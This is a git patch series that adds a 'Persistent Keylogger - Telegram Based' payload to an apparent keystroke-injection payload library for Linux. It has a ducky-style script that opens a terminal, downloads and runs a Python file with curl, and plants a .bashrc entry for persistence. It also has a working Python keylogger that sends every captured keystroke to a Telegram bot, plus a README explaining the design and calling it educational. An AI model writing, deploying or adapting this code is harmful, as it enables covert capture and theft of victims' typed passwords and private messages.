From ce92a4e442cad730e6a2eee3dc8c54e988dc66b6 Mon Sep 17 00:00:00 2001 From: Aleff Date: Thu, 3 Aug 2023 10:32:59 +0200 Subject: [PATCH 1/4] Persistent Keylogger - Telegram Based --- .../payload.txt | 27 +++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 payloads/library/execution/Persistent_Keylogger-Telegram_Based/payload.txt diff --git a/payloads/library/execution/Persistent_Keylogger-Telegram_Based/payload.txt b/payloads/library/execution/Persistent_Keylogger-Telegram_Based/payload.txt new file mode 100644 index 000000000..5c17b5d1f --- /dev/null +++ b/payloads/library/execution/Persistent_Keylogger-Telegram_Based/payload.txt @@ -0,0 +1,27 @@ +* REM ######################################################## +* REM # # +* REM # Title : Persistent Keylogger - Telegram Based # +* REM # Author : Aleff # +* REM # Version : 1.0 # +* REM # Category : Execution # +* REM # Target : Linux # +* REM # # +* REM ######################################################## + +* REM Requirements: +* REM - Internet Connection + +QUACK DELAY 1000 +QUACK CTRL-ALT t +QUACK DELAY 2000 + +* REM Here you must put your own file link. Replace #PYTHON-SCRIPT-LINK with somethign like this https://www.example.com/connection.py +QUACK STRING curl -o connection.py #PYTHON-SCRIPT-LINK; python3 connection.py; echo "if ! pgrep -f connection.py >/dev/null; then +QUACK ENTER + +QUACK STRING python3 connection.py & +QUACK ENTER + +QUACK STRING fi" >> .bashrc; exit +QUACK ENTER + From addcbf9274a5cbcb315878e1f932023309af6b46 Mon Sep 17 00:00:00 2001 From: aleff-github Date: Thu, 3 Aug 2023 10:33:34 +0200 Subject: [PATCH 2/4] payload --- .../README.md | 44 +++++++++++ .../connection.py | 79 +++++++++++++++++++ 2 files changed, 123 insertions(+) create mode 100644 payloads/library/execution/Persistent_Keylogger-Telegram_Based/README.md create mode 100644 payloads/library/execution/Persistent_Keylogger-Telegram_Based/connection.py diff --git a/payloads/library/execution/Persistent_Keylogger-Telegram_Based/README.md b/payloads/library/execution/Persistent_Keylogger-Telegram_Based/README.md new file mode 100644 index 000000000..aad473930 --- /dev/null +++ b/payloads/library/execution/Persistent_Keylogger-Telegram_Based/README.md @@ -0,0 +1,44 @@ +# Persistent Keylogger - Telegram Based + +A script used to configure a persistent keylogger on a Linux computer trough a pre-configured Telegram Bot. + +**Category**: Execution + +## Dependencies + +* Internet Connection + +## Description + +A script used to configure a persistent keylogger on a Linux computer trough a pre-configured Telegram Bot. + +This payload is based on [Telegram Persistent Connection](Telegram_Persistent_Connection) payload for create the Telegram connection. + +Nello script potete trovare due classi che ereditano Thread chiamate Keylogger e Sender ed una classe di memoria condivisa chiamata Log. Le classi Thread svolgono due compiti distinti: +- Keylogger: La classe Keylogger si occupa di acquisire, tramite la librearia keyboard, i tasti premuti e in funzione di questo rilevamente viene invocata la funzione callback opportunamente modificata e indicata nel richiamo della funzione. Quando viene rilevato l'utilizzo di un certo tasto da tastiera viene di seguito aggiunto alla variabile di log tramite il metodo `add_to_log()` dell'oggetto `self.log` della classe `Log`. +- Sender: La classe Sender rappresenta un thread che si occupa solo ed esclusivamente di invocare periodicamente il metodo `send_log()` dell'oggetto `self.log` della classe `Log`. +- Log: La classe Log rappresenta una entità a memoria condivisa. La memoria condivisa è la variabile `self.log` che periodicamente viene gestita tramite i metodi `add_to_log()` e `send_log()`. Questa classe è stata ideata con l'obiettivo di evitare la perdita di dati e per tanto si è pensato di applicare un sistema di gestione dei lock affinché se un utente dovesse scrivere molto velocemente non si creino situazioni spiacevoli o inaspettate. Al fine di gestire i lock è stato deciso di utilizzare `RLock` e `Condition` rispettivamente nei metodi della classe. Il metodo `add_to_log(self, log)` si occupa di acquisire il lock tramite l'invocazione `with self.lock` e di aggiornare la variabile interna con il nuovo carattere ricevuto. Dal momento che come condizione di attesa sulla gestione dei lock vi è solo quella in cui la variabile self.lock sia vuota allora subito dopo l'aggiornamento della variabile interna viene invocata la funzione sbloccante `self.condition.notify_all()` che permette a tutti i Thread (in questo caso in realtà solo 1, il Sender) di svegliarsi e di procedere con l'operazione di invio. Il metodo `send_log(self)` si occupa di acquisire il lock e di porsi in condizione di attesa tramite il comando `self.condition.wait()` nel caso in cui la variabile self.log risulti vuota. Una volta riaquisito il lock, in seguito ad un risveglio, il Thread Sender procederà con l'invio del messaggio tramite comando `bot.send_message(...)` riportando ad uno stato iniziale vuoto la variabile self.log. E' bene sottolineare che seppure questo bot Telegram potrebbe essere utilizzato da chiunque in maniera dinamica, potrebbe essere una buona usanza utilizzare l'ID in maniera statica (riga 16 del file Python) in quanto il ricevente dei messaggi sarete sempre voi e non qualcun'altro (almeno non dovrebbe essere così). Questo aspetto può risultare poco sicuro in quanto rilasciate una informazione molto sensibile e delicata per quanto riguarda la vostra riservatezza e la vostra identità, ma dal momento che questo script non è assolutamente pensato ai fini malevoli o in ambiti reali, bensì è stato pensato e creato ai fini di studio. + +Because Telegram uses a limited size per message, the script divides the output of the command into a theoretically infinite chunk of 1000 characters in length that will be sent one by one through the Telegram Bot. + +## Credits + +

Aleff :octocat:

+
+ + + + + +
+ + + +
Github +
+ + + +
Linkedin +
+
\ No newline at end of file diff --git a/payloads/library/execution/Persistent_Keylogger-Telegram_Based/connection.py b/payloads/library/execution/Persistent_Keylogger-Telegram_Based/connection.py new file mode 100644 index 000000000..aec1eaebc --- /dev/null +++ b/payloads/library/execution/Persistent_Keylogger-Telegram_Based/connection.py @@ -0,0 +1,79 @@ +from telebot import TeleBot +from time import sleep +import keyboard +from threading import Thread,RLock,Condition + +# Set here the Telegram bot token +BOT_TOKEN = "" +bot = TeleBot(BOT_TOKEN) + +class Log: + def __init__(self): + self.log = "" + self.lock = RLock() + self.condition = Condition(self.lock) + # Set here the Telegram user id + self.id = "0123456789" + + def add_to_log(self, log): + with self.lock: + #print("Adding to log...") + self.log += log + self.condition.notify_all() + + def send_log(self): + with self.lock: + #print("Sending to bot...") + while self.log == "": + #print("Waiting resources...") + self.condition.wait() + #print("Sending message!") + bot.send_message(self.id, self.log) + self.log = "" + +class Keylogger(Thread): + + def __init__(self, log): + super().__init__() + self.log = log + + def callback(self, event): + name = event.name + if len(name) > 1: + if name == "space": + name = "[SPACE]" + elif name == "enter": + name = "[ENTER]\n" + elif name == "decimal": + name = "." + else: + name = name.replace(" ", "_") + name = f"[{name.upper()}]" + #print(f"Keylogger add to log: {name}") + self.log.add_to_log(name) + + def run(self): + keyboard.on_release(callback=self.callback) + +class Sender(Thread): + + def __init__(self, log): + super().__init__() + self.log = log + + def run(self): + while True: + sleep(5) + #print("Sender send log") + self.log.send_log() + + +log = Log() + +keylogger = Keylogger(log) +keylogger.start() + +sender = Sender(log) +sender.start() + +bot.infinity_polling() From 58f7075dc071262f88c007c7e20b9b14f8085bd5 Mon Sep 17 00:00:00 2001 From: Aleff Date: Thu, 3 Aug 2023 14:22:31 +0200 Subject: [PATCH 3/4] Update README.md --- .../README.md | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) diff --git a/payloads/library/execution/Persistent_Keylogger-Telegram_Based/README.md b/payloads/library/execution/Persistent_Keylogger-Telegram_Based/README.md index aad473930..9105ac6f4 100644 --- a/payloads/library/execution/Persistent_Keylogger-Telegram_Based/README.md +++ b/payloads/library/execution/Persistent_Keylogger-Telegram_Based/README.md @@ -14,10 +14,19 @@ A script used to configure a persistent keylogger on a Linux computer trough a p This payload is based on [Telegram Persistent Connection](Telegram_Persistent_Connection) payload for create the Telegram connection. -Nello script potete trovare due classi che ereditano Thread chiamate Keylogger e Sender ed una classe di memoria condivisa chiamata Log. Le classi Thread svolgono due compiti distinti: -- Keylogger: La classe Keylogger si occupa di acquisire, tramite la librearia keyboard, i tasti premuti e in funzione di questo rilevamente viene invocata la funzione callback opportunamente modificata e indicata nel richiamo della funzione. Quando viene rilevato l'utilizzo di un certo tasto da tastiera viene di seguito aggiunto alla variabile di log tramite il metodo `add_to_log()` dell'oggetto `self.log` della classe `Log`. -- Sender: La classe Sender rappresenta un thread che si occupa solo ed esclusivamente di invocare periodicamente il metodo `send_log()` dell'oggetto `self.log` della classe `Log`. -- Log: La classe Log rappresenta una entità a memoria condivisa. La memoria condivisa è la variabile `self.log` che periodicamente viene gestita tramite i metodi `add_to_log()` e `send_log()`. Questa classe è stata ideata con l'obiettivo di evitare la perdita di dati e per tanto si è pensato di applicare un sistema di gestione dei lock affinché se un utente dovesse scrivere molto velocemente non si creino situazioni spiacevoli o inaspettate. Al fine di gestire i lock è stato deciso di utilizzare `RLock` e `Condition` rispettivamente nei metodi della classe. Il metodo `add_to_log(self, log)` si occupa di acquisire il lock tramite l'invocazione `with self.lock` e di aggiornare la variabile interna con il nuovo carattere ricevuto. Dal momento che come condizione di attesa sulla gestione dei lock vi è solo quella in cui la variabile self.lock sia vuota allora subito dopo l'aggiornamento della variabile interna viene invocata la funzione sbloccante `self.condition.notify_all()` che permette a tutti i Thread (in questo caso in realtà solo 1, il Sender) di svegliarsi e di procedere con l'operazione di invio. Il metodo `send_log(self)` si occupa di acquisire il lock e di porsi in condizione di attesa tramite il comando `self.condition.wait()` nel caso in cui la variabile self.log risulti vuota. Una volta riaquisito il lock, in seguito ad un risveglio, il Thread Sender procederà con l'invio del messaggio tramite comando `bot.send_message(...)` riportando ad uno stato iniziale vuoto la variabile self.log. E' bene sottolineare che seppure questo bot Telegram potrebbe essere utilizzato da chiunque in maniera dinamica, potrebbe essere una buona usanza utilizzare l'ID in maniera statica (riga 16 del file Python) in quanto il ricevente dei messaggi sarete sempre voi e non qualcun'altro (almeno non dovrebbe essere così). Questo aspetto può risultare poco sicuro in quanto rilasciate una informazione molto sensibile e delicata per quanto riguarda la vostra riservatezza e la vostra identità, ma dal momento che questo script non è assolutamente pensato ai fini malevoli o in ambiti reali, bensì è stato pensato e creato ai fini di studio. +In the script, you can find two classes that inherit Thread called Keylogger and Sender, and a shared memory class called Log. The Thread classes perform two distinct tasks: + +- Keylogger: The Keylogger class is responsible for capturing the pressed keys using the keyboard library. Based on the detected key, a modified callback function specified in the function call is invoked. When the usage of a certain keyboard key is detected, it is subsequently added to the log variable using the `add_to_log()` method of the `self.log` object from the Log class. + +- Sender: The Sender class represents a thread solely dedicated to periodically invoking the `send_log()` method of the `self.log` object from the Log class. + +- Log: The Log class represents a shared memory entity. The shared memory is the variable `self.log`, which is periodically managed through the `add_to_log()` and `send_log()` methods. This class was designed with the aim of avoiding data loss, and thus a lock management system was applied to prevent undesirable or unexpected situations when multiple users write rapidly. To handle the locks, `RLock` and `Condition` were chosen in the respective methods of the class. + +The `add_to_log(self, log)` method acquires the lock through the invocation of `with self.lock` and updates the internal variable with the new received character. As the only waiting condition on the lock management is when the variable `self.lock` is empty, immediately after updating the internal variable, the unlocking function `self.condition.notify_all()` is invoked, allowing all threads (in this case, actually only 1, the Sender) to wake up and proceed with the sending operation. + +The `send_log(self)` method acquires the lock and enters a waiting condition using `self.condition.wait()` if the variable `self.log` is empty. Once the lock is reacquired following a wake-up, the Sender Thread proceeds with sending the message using the `bot.send_message(...)` command, resetting the `self.log` variable to an empty initial state. + +It is worth noting that although this Telegram bot could be used dynamically by anyone, it might be a good practice to use the ID statically (line 16 of the Python file) since the message recipients will always be you and not someone else (at least it shouldn't be so). This aspect may be considered less secure as it exposes sensitive and delicate information concerning your privacy and identity. However, since this script is not intended for malicious purposes or real-world use, but rather for educational purposes, it has been thoughtfully created and designed for study purposes. Because Telegram uses a limited size per message, the script divides the output of the command into a theoretically infinite chunk of 1000 characters in length that will be sent one by one through the Telegram Bot. @@ -41,4 +50,4 @@ Because Telegram uses a limited size per message, the script divides the output - \ No newline at end of file + From 000017e28090e715b62987a4238c719ae5e8bdee Mon Sep 17 00:00:00 2001 From: Aleff Date: Thu, 6 Jun 2024 16:58:41 +0200 Subject: [PATCH 4/4] Adapted to the use of variables [+] Vars [+] Attackmode --- .../Persistent_Keylogger-Telegram_Based/README.md | 2 +- .../payload.txt | 14 ++++++++------ 2 files changed, 9 insertions(+), 7 deletions(-) diff --git a/payloads/library/execution/Persistent_Keylogger-Telegram_Based/README.md b/payloads/library/execution/Persistent_Keylogger-Telegram_Based/README.md index 9105ac6f4..d414b1dc0 100644 --- a/payloads/library/execution/Persistent_Keylogger-Telegram_Based/README.md +++ b/payloads/library/execution/Persistent_Keylogger-Telegram_Based/README.md @@ -32,7 +32,7 @@ Because Telegram uses a limited size per message, the script divides the output ## Credits -

Aleff :octocat:

+

Aleff

diff --git a/payloads/library/execution/Persistent_Keylogger-Telegram_Based/payload.txt b/payloads/library/execution/Persistent_Keylogger-Telegram_Based/payload.txt index 5c17b5d1f..493b79650 100644 --- a/payloads/library/execution/Persistent_Keylogger-Telegram_Based/payload.txt +++ b/payloads/library/execution/Persistent_Keylogger-Telegram_Based/payload.txt @@ -8,20 +8,22 @@ * REM # # * REM ######################################################## +ATTACKMODE HID + * REM Requirements: * REM - Internet Connection +QUACK REM VARIABLES +* REM Here you must put your own file link. +PYTHON-SCRIPT-LINK='https://www.example.com/connection.py' + QUACK DELAY 1000 QUACK CTRL-ALT t QUACK DELAY 2000 - -* REM Here you must put your own file link. Replace #PYTHON-SCRIPT-LINK with somethign like this https://www.example.com/connection.py -QUACK STRING curl -o connection.py #PYTHON-SCRIPT-LINK; python3 connection.py; echo "if ! pgrep -f connection.py >/dev/null; then +QUACK STRING curl -o connection.py $PYTHON-SCRIPT-LINK; python3 connection.py; echo \"if ! pgrep -f connection.py >/dev/null; then QUACK ENTER - QUACK STRING python3 connection.py & QUACK ENTER - -QUACK STRING fi" >> .bashrc; exit +QUACK STRING fi\" >> .bashrc; exit QUACK ENTER